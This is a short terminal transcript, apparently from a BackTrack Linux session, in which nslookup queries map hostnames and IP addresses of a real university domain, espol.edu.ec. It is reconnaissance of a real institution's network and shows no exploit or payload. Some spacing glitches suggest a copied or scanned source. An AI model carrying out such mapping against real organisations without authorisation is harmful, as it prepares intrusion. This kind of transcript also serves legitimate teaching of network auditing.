Address: 192 .188.59.2#53
Name: espol.edu.ec

Address: 192.188.59.33

root@bt:-# nslookup sidweb.espol.edu.ec
Server: 192.188.59.2
Address: 192.188.59.2#53

Name: sidweb.espol.edu.ec
Address: 200.10.150.183

root@bt:-# nslookup 192.188.59.45

Server: 192.188.59.2
Address: 192 .188.59.2#53
45.59.188.192.in-addr.arpa name = ulises.espol.edu.ec.

root@bt:~# nslookup 192.188.59.2
Server: 192.188.59.2
Address: 192.188.59.2#53

2.59.188.192.in-addr.arpa name = goliat.espol.edu.ec.
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